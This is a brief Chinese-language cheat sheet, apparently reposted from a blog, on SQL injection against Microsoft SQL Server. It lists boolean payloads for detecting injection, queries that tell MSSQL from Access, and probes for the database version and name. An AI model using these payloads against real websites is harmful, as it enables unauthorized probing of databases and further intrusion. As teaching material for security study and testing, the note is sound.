注入--mssql（sqlserver）

标签：log   serve   数据库版本   判断   lse   blog   版本   ref   sele   

mssql端口号：1433

判断是否又注入：

and 1=1

and 1=2

判断是否为mssql

and user>0

判断数据库库系统

and（select count(*) from sysobjects）>0 mssql

and (select count(*) from msysobjects) >0 access

判断数据库版本

and 1=(select @@version)

判断数据库名

and 1=(select db_name)

总结https://blog.51cto.com/saturn/197354

注入--mssql（sqlserver）

标签：log   serve   数据库版本   判断   lse   blog   版本   ref   sele   

原文地址：https://www.cnblogs.com/fire-works/p/12245947.html